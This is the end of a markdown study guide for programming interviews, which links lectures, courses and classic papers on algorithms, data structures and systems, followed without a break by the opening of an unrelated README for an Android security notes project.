[Capabilities](https://www.youtube.com/watch?v=8VqTSY-11F4&index=5&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Sandboxing Native Code](https://www.youtube.com/watch?v=VEV74hwASeU&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=6) - [Web Security Model](https://www.youtube.com/watch?v=chkFBigodIw&index=7&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Securing Web Applications](https://www.youtube.com/watch?v=EBQIGy1ROLY&index=8&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Symbolic Execution](https://www.youtube.com/watch?v=yRVZPvHYHzw&index=9&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Network Security](https://www.youtube.com/watch?v=SIEVvk3NVuk&index=11&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Network Protocols](https://www.youtube.com/watch?v=QOtA76ga_fY&index=12&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Side-Channel Attacks](https://www.youtube.com/watch?v=PuVMkSEcPiI&index=15&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - ### Garbage collection - [GC in Python (video)](https://www.youtube.com/watch?v=iHVs_HkjdmI) - [Deep Dive Java: Garbage Collection is Good!](https://www.infoq.com/presentations/garbage-collection-benefits) - [Deep Dive Python: Garbage Collection in CPython (video)](https://www.youtube.com/watch?v=P-8Z0-MhdQs&list=PLdzf4Clw0VbOEWOS_sLhT_9zaiQDrS5AR&index=3) - ### Parallel Programming - [Coursera (Scala)](https://www.coursera.org/learn/parprog1/home/week/1) - [Efficient Python for High Performance Parallel Computing (video)](https://www.youtube.com/watch?v=uY85GkaYzBk) - ### Messaging, Serialization, and Queueing Systems - [Thrift](https://thrift.apache.org/) - [Tutorial](http://thrift-tutorial.readthedocs.io/en/latest/intro.html) - [Protocol Buffers](https://developers.google.com/protocol-buffers/) - [Tutorials](https://developers.google.com/protocol-buffers/docs/tutorials) - [gRPC](http://www.grpc.io/) - [gRPC 101 for Java Developers (video)](https://www.youtube.com/watch?v=5tmPvSe7xXQ&list=PLcTqM9n_dieN0k1nSeN36Z_ppKnvMJoly&index=1) - [Redis](http://redis.io/) - [Tutorial](http://try.redis.io/) - [Amazon SQS (queue)](https://aws.amazon.com/sqs/) - [Amazon SNS (pub-sub)](https://aws.amazon.com/sns/) - [RabbitMQ](https://www.rabbitmq.com/) - [Get Started](https://www.rabbitmq.com/getstarted.html) - [Celery](http://www.celeryproject.org/) - [First Steps With Celery](http://docs.celeryproject.org/en/latest/getting-started/first-steps-with-celery.html) - [ZeroMQ](http://zeromq.org/) - [Intro - Read The Manual](http://zeromq.org/intro:read-the-manual) - [ActiveMQ](http://activemq.apache.org/) - [Kafka](http://kafka.apache.org/documentation.html#introduction) - [MessagePack](http://msgpack.org/index.html) - [Avro](https://avro.apache.org/) - ### A* - [A Search Algorithm](https://en.wikipedia.org/wiki/A*_search_algorithm) - [A* Pathfinding (E01: algorithm explanation) (video)](https://www.youtube.com/watch?v=-L-WgKMFuhE) - ### Fast Fourier Transform - [An Interactive Guide To The Fourier Transform](https://betterexplained.com/articles/an-interactive-guide-to-the-fourier-transform/) - [What is a Fourier transform? What is it used for?](http://www.askamathematician.com/2012/09/q-what-is-a-fourier-transform-what-is-it-used-for/) - [What is the Fourier Transform? (video)](https://www.youtube.com/watch?v=Xxut2PN-V8Q) - [Divide & Conquer: FFT (video)](https://www.youtube.com/watch?v=iTMn0Kt18tg&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=4) - [Understanding The FFT](http://jakevdp.github.io/blog/2013/08/28/understanding-the-fft/) - ### Bloom Filter - Given a Bloom filter with m bits and k hashing functions, both insertion and membership testing are O(k) - [Bloom Filters (video)](https://www.youtube.com/watch?v=-SuTGoFYjZs) - [Bloom Filters | Mining of Massive Datasets | Stanford University (video)](https://www.youtube.com/watch?v=qBTdukbzc78) - [Tutorial](http://billmill.org/bloomfilter-tutorial/) - [How To Write A Bloom Filter App](http://blog.michaelschmatz.com/2016/04/11/how-to-write-a-bloom-filter-cpp/) - ### HyperLogLog - [How To Count A Billion Distinct Objects Using Only 1.5KB Of Memory](http://highscalability.com/blog/2012/4/5/big-data-counting-how-to-count-a-billion-distinct-objects-us.html) - ### Locality-Sensitive Hashing - Used to determine the similarity of documents - The opposite of MD5 or SHA which are used to determine if 2 documents/strings are exactly the same - [Simhashing (hopefully) made simple](http://ferd.ca/simhashing-hopefully-made-simple.html) - ### van Emde Boas Trees - [Divide & Conquer: van Emde Boas Trees (video)](https://www.youtube.com/watch?v=hmReJCupbNU&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=6) - [MIT Lecture Notes](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-design-and-analysis-of-algorithms-spring-2012/lecture-notes/MIT6_046JS12_lec15.pdf) - ### Augmented Data Structures - [CS 61B Lecture 39: Augmenting Data Structures](https://archive.org/details/ucberkeley_webcast_zksIj9O8_jc) - ### Balanced search trees - Know at least one type of balanced binary tree (and know how it's implemented): - "Among balanced search trees, AVL and 2/3 trees are now passé, and red-black trees seem to be more popular. A particularly interesting self-organizing data structure is the splay tree, which uses rotations to move any accessed key to the root." - Skiena - Of these, I chose to implement a splay tree. From what I've read, you won't implement a balanced search tree in your interview. But I wanted exposure to coding one up and let's face it, splay trees are the bee's knees. I did read a lot of red-black tree code - Splay tree: insert, search, delete functions If you end up implementing red/black tree try just these: - Search and insertion functions, skipping delete - I want to learn more about B-Tree since it's used so widely with very large data sets - [Self-balancing binary search tree](https://en.wikipedia.org/wiki/Self-balancing_binary_search_tree) - **AVL trees** - In practice: From what I can tell, these aren't used much in practice, but I could see where they would be: The AVL tree is another structure supporting O(log n) search, insertion, and removal. It is more rigidly balanced than red–black trees, leading to slower insertion and removal but faster retrieval. This makes it attractive for data structures that may be built once and loaded without reconstruction, such as language dictionaries (or program dictionaries, such as the opcodes of an assembler or interpreter) - [MIT AVL Trees / AVL Sort (video)](https://www.youtube.com/watch?v=FNeL18KsWPc&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=6) - [AVL Trees (video)](https://www.coursera.org/learn/data-structures/lecture/Qq5E0/avl-trees) - [AVL Tree Implementation (video)](https://www.coursera.org/learn/data-structures/lecture/PKEBC/avl-tree-implementation) - [Split And Merge](https://www.coursera.org/learn/data-structures/lecture/22BgE/split-and-merge) - [[Review] AVL Trees (playlist) in 19 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZOUFgdIeOPuH6cfSnNRMau-) - **Splay trees** - In practice: Splay trees are typically used in the implementation of caches, memory allocators, routers, garbage collectors, data compression, ropes (replacement of string used for long text strings), in Windows NT (in the virtual memory, networking and file system code) etc - [CS 61B: Splay Trees (video)](https://archive.org/details/ucberkeley_webcast_G5QIXywcJlY) - MIT Lecture: Splay Trees: - Gets very mathy, but watch the last 10 minutes for sure. - [Video](https://www.youtube.com/watch?v=QnPl_Y6EqMo) - **Red/black trees** - These are a translation of a 2-3 tree (see below). - In practice: Red–black trees offer worst-case guarantees for insertion time, deletion time, and search time. Not only does this make them valuable in time-sensitive applications such as real-time applications, but it makes them valuable building blocks in other data structures which provide worst-case guarantees; for example, many data structures used in computational geometry can be based on red–black trees, and the Completely Fair Scheduler used in current Linux kernels uses red–black trees. In the version 8 of Java, the Collection HashMap has been modified such that instead of using a LinkedList to store identical elements with poor hashcodes, a Red-Black tree is used - [Aduni - Algorithms - Lecture 4 (link jumps to starting point) (video)](https://youtu.be/1W3x0f_RmUo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3871) - [Aduni - Algorithms - Lecture 5 (video)](https://www.youtube.com/watch?v=hm2GHwyKF1o&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=5) - [Red-Black Tree](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree) - [An Introduction To Binary Search And Red Black Tree](https://www.topcoder.com/thrive/articles/An%20Introduction%20to%20Binary%20Search%20and%20Red-Black%20Trees) - [[Review] Red-Black Trees (playlist) in 30 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZNqDI8qfOZgzbqahCUmUEin) - **2-3 search trees** - In practice: 2-3 trees have faster inserts at the expense of slower searches (since height is more compared to AVL trees). - You would use 2-3 tree very rarely because its implementation involves different types of nodes. Instead, people use Red Black trees. - [23-Tree Intuition and Definition (video)](https://www.youtube.com/watch?v=C3SsdUqasD4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=2) - [Binary View of 23-Tree](https://www.youtube.com/watch?v=iYvBtGKsqSg&index=3&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [2-3 Trees (student recitation) (video)](https://www.youtube.com/watch?v=TOb1tuEZ2X4&index=5&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - **2-3-4 Trees (aka 2-4 trees)** - In practice: For every 2-4 tree, there are corresponding red–black trees with data elements in the same order. The insertion and deletion operations on 2-4 trees are also equivalent to color-flipping and rotations in red–black trees. This makes 2-4 trees an important tool for understanding the logic behind red–black trees, and this is why many introductory algorithm texts introduce 2-4 trees just before red–black trees, even though **2-4 trees are not often used in practice**. - [CS 61B Lecture 26: Balanced Search Trees (video)](https://archive.org/details/ucberkeley_webcast_zqrqYXkth6Q) - [Bottom Up 234-Trees (video)](https://www.youtube.com/watch?v=DQdMYevEyE4&index=4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [Top Down 234-Trees (video)](https://www.youtube.com/watch?v=2679VQ26Fp4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=5) - **N-ary (K-ary, M-ary) trees** - note: the N or K is the branching factor (max branches) - binary trees are a 2-ary tree, with branching factor = 2 - 2-3 trees are 3-ary - [K-Ary Tree](https://en.wikipedia.org/wiki/K-ary_tree) - **B-Trees** - Fun fact: it's a mystery, but the B could stand for Boeing, Balanced, or Bayer (co-inventor). - In Practice: B-Trees are widely used in databases. Most modern filesystems use B-trees (or Variants). In addition to its use in databases, the B-tree is also used in filesystems to allow quick random access to an arbitrary block in a particular file. The basic problem is turning the file block i address into a disk block (or perhaps to a cylinder-head-sector) address - [B-Tree](https://en.wikipedia.org/wiki/B-tree) - [B-Tree Datastructure](http://btechsmartclass.com/data_structures/b-trees.html) - [Introduction to B-Trees (video)](https://www.youtube.com/watch?v=I22wEC1tTGo&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=6) - [B-Tree Definition and Insertion (video)](https://www.youtube.com/watch?v=s3bCdZGrgpA&index=7&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [B-Tree Deletion (video)](https://www.youtube.com/watch?v=svfnVhJOfMc&index=8&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [MIT 6.851 - Memory Hierarchy Models (video)](https://www.youtube.com/watch?v=V3omVLzI0WE&index=7&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf) - covers cache-oblivious B-Trees, very interesting data structures - the first 37 minutes are very technical, may be skipped (B is block size, cache line size) - [[Review] B-Trees (playlist) in 26 minutes (video)](https://www.youtube.com/playlist?list=PL9xmBV_5YoZNFPPv98DjTdD9X6UI9KMHz) - ### k-D Trees - Great for finding number of points in a rectangle or higher dimension object - A good fit for k-nearest neighbors - [kNN K-d tree algorithm (video)](https://www.youtube.com/watch?v=Y4ZgLlDfKDg) - ### Skip lists - "These are somewhat of a cult data structure" - Skiena - [Randomization: Skip Lists (video)](https://www.youtube.com/watch?v=2g9OSRKJuzM&index=10&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [For animations and a little more detail](https://en.wikipedia.org/wiki/Skip_list) - ### Network Flows - [Ford-Fulkerson in 5 minutes — Step by step example (video)](https://www.youtube.com/watch?v=Tl90tNtKvxs) - [Ford-Fulkerson Algorithm (video)](https://www.youtube.com/watch?v=v1VgJmkEJW0) - [Network Flows (video)](https://www.youtube.com/watch?v=2vhN4Ice5jI) - ### Disjoint Sets & Union Find - [UCB 61B - Disjoint Sets; Sorting & selection (video)](https://archive.org/details/ucberkeley_webcast_MAEGXTwmUsI) - [Sedgewick Algorithms - Union-Find (6 videos)](https://www.coursera.org/learn/algorithms-part1/home/week/1) - ### Math for Fast Processing - [Integer Arithmetic, Karatsuba Multiplication (video)](https://www.youtube.com/watch?v=eCaXlAaN2uE&index=11&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [The Chinese Remainder Theorem (used in cryptography) (video)](https://www.youtube.com/watch?v=ru7mWZJlRQg) - ### Treap - Combination of a binary search tree and a heap - [Treap](https://en.wikipedia.org/wiki/Treap) - [Data Structures: Treaps explained (video)](https://www.youtube.com/watch?v=6podLUYinH8) - [Applications in set operations](https://www.cs.cmu.edu/~scandal/papers/treaps-spaa98.pdf) - ### Linear Programming (videos) - [Linear Programming](https://www.youtube.com/watch?v=M4K6HYLHREQ) - [Finding minimum cost](https://www.youtube.com/watch?v=2ACJ9ewUC6U) - [Finding maximum value](https://www.youtube.com/watch?v=8AA_81xI3ik) - [Solve Linear Equations with Python - Simplex Algorithm](https://www.youtube.com/watch?v=44pAWI7v5Zk) - ### Geometry, Convex hull (videos) - [Graph Alg. IV: Intro to geometric algorithms - Lecture 9](https://youtu.be/XIAQRlNkJAw?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3164) - [Geometric Algorithms: Graham & Jarvis - Lecture 10](https://www.youtube.com/watch?v=J5aJEcOr6Eo&index=10&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [Divide & Conquer: Convex Hull, Median Finding](https://www.youtube.com/watch?v=EzeYI7p9MjU&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=2) - ### Discrete math - [Computer Science 70, 001 - Spring 2015 - Discrete Mathematics and Probability Theory](http://www.infocobuild.com/education/audio-video-courses/computer-science/cs70-spring2015-berkeley.html) - [Discrete Mathematics by Shai Simonson (19 videos)](https://www.youtube.com/playlist?list=PLWX710qNZo_sNlSWRMVIh6kfTjolNaZ8t) - [Discrete Mathematics By IIT Ropar NPTEL](https://nptel.ac.in/courses/106/106/106106183/) --- ## Additional Detail on Some Subjects I added these to reinforce some ideas already presented above, but didn't want to include them above because it's just too much. It's easy to overdo it on a subject. You want to get hired in this century, right? - **SOLID** - [ ] [Bob Martin SOLID Principles of Object Oriented and Agile Design (video)](https://www.youtube.com/watch?v=TMuno5RZNeE) - [ ] S - [Single Responsibility Principle](http://www.oodesign.com/single-responsibility-principle.html) | [Single responsibility to each Object](http://www.javacodegeeks.com/2011/11/solid-single-responsibility-principle.html) - [more flavor](https://docs.google.com/open?id=0ByOwmqah_nuGNHEtcU5OekdDMkk) - [ ] O - [Open/Closed Principle](http://www.oodesign.com/open-close-principle.html) | [On production level Objects are ready for extension but not for modification](https://en.wikipedia.org/wiki/Open/closed_principle) - [more flavor](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgN2M5MTkwM2EtNWFkZC00ZTI3LWFjZTUtNTFhZGZiYmUzODc1&hl=en) - [ ] L - [Liskov Substitution Principle](http://www.oodesign.com/liskov-s-substitution-principle.html) | [Base Class and Derived class follow ‘IS A’ Principle](http://stackoverflow.com/questions/56860/what-is-the-liskov-substitution-principle) - [more flavor](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgNzAzZjA5ZmItNjU3NS00MzQ5LTkwYjMtMDJhNDU5ZTM0MTlh&hl=en) - [ ] I - [Interface segregation principle](http://www.oodesign.com/interface-segregation-principle.html) | clients should not be forced to implement interfaces they don't use - [Interface Segregation Principle in 5 minutes (video)](https://www.youtube.com/watch?v=3CtAfl7aXAQ) - [more flavor](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgOTViYjJhYzMtMzYxMC00MzFjLWJjMzYtOGJiMDc5N2JkYmJi&hl=en) - [ ] D -[Dependency Inversion principle](http://www.oodesign.com/dependency-inversion-principle.html) | Reduce the dependency In composition of objects. - [Why Is The Dependency Inversion Principle And Why Is It Important](http://stackoverflow.com/questions/62539/what-is-the-dependency-inversion-principle-and-why-is-it-important) - [more flavor](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgMjdlMWIzNGUtZTQ0NC00ZjQ5LTkwYzQtZjRhMDRlNTQ3ZGMz&hl=en) - **Union-Find** - [Overview](https://www.coursera.org/learn/data-structures/lecture/JssSY/overview) - [Naive Implementation](https://www.coursera.org/learn/data-structures/lecture/EM5D0/naive-implementations) - [Trees](https://www.coursera.org/learn/data-structures/lecture/Mxu0w/trees) - [Union By Rank](https://www.coursera.org/learn/data-structures/lecture/qb4c2/union-by-rank) - [Path Compression](https://www.coursera.org/learn/data-structures/lecture/Q9CVI/path-compression) - [Analysis Options](https://www.coursera.org/learn/data-structures/lecture/GQQLN/analysis-optional) - **More Dynamic Programming** (videos) - [6.006: Dynamic Programming I: Fibonacci, Shortest Paths](https://www.youtube.com/watch?v=r4-cftqTcdI&ab_channel=MITOpenCourseWare) - [6.006: Dynamic Programming II: Text Justification, Blackjack](https://www.youtube.com/watch?v=KLBCUx1is2c&ab_channel=MITOpenCourseWare) - [6.006: DP III: Parenthesization, Edit Distance, Knapsack](https://www.youtube.com/watch?v=TDo3r5M1LNo&ab_channel=MITOpenCourseWare) - [6.006: DP IV: Guitar Fingering, Tetris, Super Mario Bros.](https://www.youtube.com/watch?v=i9OAOk0CUQE&ab_channel=MITOpenCourseWare) - [6.046: Dynamic Programming & Advanced DP](https://www.youtube.com/watch?v=Tw1k46ywN6E&index=14&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [6.046: Dynamic Programming: All-Pairs Shortest Paths](https://www.youtube.com/watch?v=NzgFUwOaoIw&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=15) - [6.046: Dynamic Programming (student recitation)](https://www.youtube.com/watch?v=krZI60lKPek&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=12) - **Advanced Graph Processing** (videos) - [Synchronous Distributed Algorithms: Symmetry-Breaking. Shortest-Paths Spanning Trees](https://www.youtube.com/watch?v=mUBmcbbJNf4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=27) - [Asynchronous Distributed Algorithms: Shortest-Paths Spanning Trees](https://www.youtube.com/watch?v=kQ-UQAzcnzA&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=28) - MIT **Probability** (mathy, and go slowly, which is good for mathy things) (videos): - [MIT 6.042J - Probability Introduction](https://www.youtube.com/watch?v=SmFwFdESMHI&index=18&list=PLB7540DEDD482705B) - [MIT 6.042J - Conditional Probability](https://www.youtube.com/watch?v=E6FbvM-FGZ8&index=19&list=PLB7540DEDD482705B) - [MIT 6.042J - Independence](https://www.youtube.com/watch?v=l1BCv3qqW4A&index=20&list=PLB7540DEDD482705B) - [MIT 6.042J - Random Variables](https://www.youtube.com/watch?v=MOfhhFaQdjw&list=PLB7540DEDD482705B&index=21) - [MIT 6.042J - Expectation I](https://www.youtube.com/watch?v=gGlMSe7uEkA&index=22&list=PLB7540DEDD482705B) - [MIT 6.042J - Expectation II](https://www.youtube.com/watch?v=oI9fMUqgfxY&index=23&list=PLB7540DEDD482705B) - [MIT 6.042J - Large Deviations](https://www.youtube.com/watch?v=q4mwO2qS2z4&index=24&list=PLB7540DEDD482705B) - [MIT 6.042J - Random Walks](https://www.youtube.com/watch?v=56iFMY8QW2k&list=PLB7540DEDD482705B&index=25) - [Simonson: Approximation Algorithms (video)](https://www.youtube.com/watch?v=oDniZCmNmNw&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=19) - **String Matching** - Rabin-Karp (videos): - [Rabin Karps Algorithm](https://www.coursera.org/lecture/data-structures/rabin-karps-algorithm-c0Qkw) - [Precomputing](https://www.coursera.org/learn/data-structures/lecture/nYrc8/optimization-precomputation) - [Optimization: Implementation and Analysis](https://www.coursera.org/learn/data-structures/lecture/h4ZLc/optimization-implementation-and-analysis) - [Table Doubling, Karp-Rabin](https://www.youtube.com/watch?v=BRO7mVIFt08&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=9) - [Rolling Hashes, Amortized Analysis](https://www.youtube.com/watch?v=w6nuXg0BISo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=32) - Knuth-Morris-Pratt (KMP): - [TThe Knuth-Morris-Pratt (KMP) String Matching Algorithm](https://www.youtube.com/watch?v=5i7oKodCRJo) - Boyer–Moore string search algorithm - [Boyer-Moore String Search Algorithm](https://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm) - [Advanced String Searching Boyer-Moore-Horspool Algorithms (video)](https://www.youtube.com/watch?v=QDZpzctPf10) - [Coursera: Algorithms on Strings](https://www.coursera.org/learn/algorithms-on-strings/home/week/1) - starts off great, but by the time it gets past KMP it gets more complicated than it needs to be - nice explanation of tries - can be skipped - **Sorting** - Stanford lectures on sorting: - [Lecture 15 | Programming Abstractions (video)](https://www.youtube.com/watch?v=ENp00xylP7c&index=15&list=PLFE6E58F856038C69) - [Lecture 16 | Programming Abstractions (video)](https://www.youtube.com/watch?v=y4M9IVgrVKo&index=16&list=PLFE6E58F856038C69) - Shai Simonson: - [Algorithms - Sorting - Lecture 2 (video)](https://www.youtube.com/watch?v=odNJmw5TOEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=2) - [Algorithms - Sorting II - Lecture 3 (video)](https://www.youtube.com/watch?v=hj8YKFTFKEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=3) - Steven Skiena lectures on sorting: - [CSE373 2020 - Mergesort/Quicksort (video)](https://www.youtube.com/watch?v=jUf-UQ3a0kg&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=8) - [CSE373 2020 - Linear Sorting (video)](https://www.youtube.com/watch?v=0ksyQKmre84&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=9) - NAND To Tetris: [Build a Modern Computer from First Principles](https://www.coursera.org/learn/build-a-computer) ## Video Series Sit back and enjoy. - [List of individual Dynamic Programming problems (each is short)](https://www.youtube.com/playlist?list=PLrmLmBdmIlpsHaNTPP_jHHDx_os9ItYXr) - [x86 Architecture, Assembly, Applications (11 videos)](https://www.youtube.com/playlist?list=PL038BE01D3BAEFDB0) - [MIT 18.06 Linear Algebra, Spring 2005 (35 videos)](https://www.youtube.com/playlist?list=PLE7DDD91010BC51F8) - [Excellent - MIT Calculus Revisited: Single Variable Calculus](https://www.youtube.com/playlist?list=PL3B08AE665AB9002A) - [Skiena lectures from Algorithm Design Manual - CSE373 2020 - Analysis of Algorithms (26 videos)](https://www.youtube.com/watch?v=22hwcnXIGgk&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=1) - [UC Berkeley 61B (Spring 2014): Data Structures (25 videos)](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd) - [UC Berkeley 61B (Fall 2006): Data Structures (39 videos)](https://archive.org/details/ucberkeley-webcast-PL4BBB74C7D2A1049C) - [UC Berkeley 61C: Machine Structures (26 videos)](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iCl2-D-FS5mk0jFF6cYSJs_) - [OOSE: Software Dev Using UML and Java (21 videos)](https://www.youtube.com/playlist?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO) - [MIT 6.004: Computation Structures (49 videos)](https://www.youtube.com/playlist?list=PLDSlqjcPpoL64CJdF0Qee5oWqGS6we_Yu) - [Carnegie Mellon - Computer Architecture Lectures (39 videos)](https://www.youtube.com/playlist?list=PL5PHm2jkkXmi5CxxI7b3JCL1TWybTDtKq) - [MIT 6.006: Intro to Algorithms (47 videos)](https://www.youtube.com/watch?v=HtSuA80QTyo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&nohtml5=False) - [MIT 6.033: Computer System Engineering (22 videos)](https://www.youtube.com/watch?v=zm2VP0kHl1M&list=PL6535748F59DCA484) - [MIT 6.034 Artificial Intelligence, Fall 2010 (30 videos)](https://www.youtube.com/playlist?list=PLUl4u3cNGP63gFHB6xb-kVBiQHYe_4hSi) - [MIT 6.042J: Mathematics for Computer Science, Fall 2010 (25 videos)](https://www.youtube.com/watch?v=L3LMbpZIKhQ&list=PLB7540DEDD482705B) - [MIT 6.046: Design and Analysis of Algorithms (34 videos)](https://www.youtube.com/watch?v=2P-yW7LQr08&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [MIT 6.824: Distributed Systems, Spring 2020 (20 videos)](https://www.youtube.com/watch?v=cQP8WApzIQQ&list=PLrw6a1wE39_tb2fErI4-WkMbsvGQk9_UB) - [MIT 6.851: Advanced Data Structures (22 videos)](https://www.youtube.com/watch?v=T0yzrZL1py0&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf&index=1) - [MIT 6.854: Advanced Algorithms, Spring 2016 (24 videos)](https://www.youtube.com/playlist?list=PL6ogFv-ieghdoGKGg2Bik3Gl1glBTEu8c) - [Harvard COMPSCI 224: Advanced Algorithms (25 videos)](https://www.youtube.com/playlist?list=PL2SOU6wwxB0uP4rJgf5ayhHWgw7akUWSf) - [MIT 6.858 Computer Systems Security, Fall 2014](https://www.youtube.com/watch?v=GqmQg-cszw4&index=1&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [Stanford: Programming Paradigms (27 videos)](https://www.youtube.com/playlist?list=PL9D558D49CA734A02) - [Introduction to Cryptography by Christof Paar](https://www.youtube.com/playlist?list=PL6N5qY2nvvJE8X75VkXglSrVhLv1tVcfy) - [Course Website along with Slides and Problem Sets](http://www.crypto-textbook.com/) - [Mining Massive Datasets - Stanford University (94 videos)](https://www.youtube.com/playlist?list=PLLssT5z_DsK9JDLcT8T62VtzwyW9LNepV) - [Graph Theory by Sarada Herke (67 videos)](https://www.youtube.com/user/DrSaradaHerke/playlists?shelf_id=5&view=50&sort=dd) ## Computer Science Courses - [Directory of Online CS Courses](https://github.com/open-source-society/computer-science) - [Directory of CS Courses (many with online lectures)](https://github.com/prakhar1989/awesome-courses) ## Algorithms implementation - [Multiple Algorithms implementation by Princeton University](https://algs4.cs.princeton.edu/code) ## Papers - [Love classic papers?](https://www.cs.cmu.edu/~crary/819-f09/) - [1978: Communicating Sequential Processes](http://spinroot.com/courses/summer/Papers/hoare_1978.pdf) - [implemented in Go](https://godoc.org/github.com/thomas11/csp) - [2003: The Google File System](http://static.googleusercontent.com/media/research.google.com/en//archive/gfs-sosp2003.pdf) - replaced by Colossus in 2012 - [2004: MapReduce: Simplified Data Processing on Large Clusters]( http://static.googleusercontent.com/media/research.google.com/en//archive/mapreduce-osdi04.pdf) - mostly replaced by Cloud Dataflow? - [2006: Bigtable: A Distributed Storage System for Structured Data](https://static.googleusercontent.com/media/research.google.com/en//archive/bigtable-osdi06.pdf) - [2006: The Chubby Lock Service for Loosely-Coupled Distributed Systems](https://research.google.com/archive/chubby-osdi06.pdf) - [2007: Dynamo: Amazon’s Highly Available Key-value Store](http://s3.amazonaws.com/AllThingsDistributed/sosp/amazon-dynamo-sosp2007.pdf) - The Dynamo paper kicked off the NoSQL revolution - [2007: What Every Programmer Should Know About Memory (very long, and the author encourages skipping of some sections)](https://www.akkadia.org/drepper/cpumemory.pdf) - 2012: AddressSanitizer: A Fast Address Sanity Checker: - [paper](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/37752.pdf) - [video](https://www.usenix.org/conference/atc12/technical-sessions/presentation/serebryany) - 2013: Spanner: Google’s Globally-Distributed Database: - [paper](http://static.googleusercontent.com/media/research.google.com/en//archive/spanner-osdi2012.pdf) - [video](https://www.usenix.org/node/170855) - [2015: Continuous Pipelines at Google](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43790.pdf) - [2015: High-Availability at Massive Scale: Building Google’s Data Infrastructure for Ads](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44686.pdf) - [2015: How Developers Search for Code: A Case Study](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43835.pdf) - More papers: [1,000 papers](https://github.com/0voice/computer_expert_paper) ## LICENSE [CC-BY-SA-4.0](./LICENSE.txt)
<div align="center"> <a href="https://github.com/iamsarvagyaa/AndroidSecNotes"><img src="static/cover.png" alt="Android Security Notes"></a><br/> </div> <p align="center"> <a href="#getting-started">Getting Started?</a> » <a href="https://www.buymeacoffee.com/iamsarvagyaa">Buy me a coffee</a> » <a href="#contact-me">Wanna Talk?</a></a> </p> **** :rocket: ***Android Security Notes? »*** Here, You will find important concepts, resources, hand-crafted and self-curated notes written by a kind-hearted fellow. The main purpose of this project is to serve as a First-Aid to newbies (like me) and intermediate peep who perform android security. :handshake: ***Wanna contribute? »*** If you see something wrong or incorrectly interpreted then open an issue or send a pull request. We appreciate your contribution and all suggestions/PRs are welcome. You can also ping me on twitter@iamsarvagyaa. :scroll: ***Things to be done! »*** I started this project from scratch. Steadily, I will update more resources and notes that I've found useful while learning Android Security. The upcoming lineup for this project ... - [ ] I will add more resources - [ ] Add conference papers, notes and more - [ ] Write more blogposts related to android security ... **** <a name="synopsis"></a> ## :spiral_notepad: 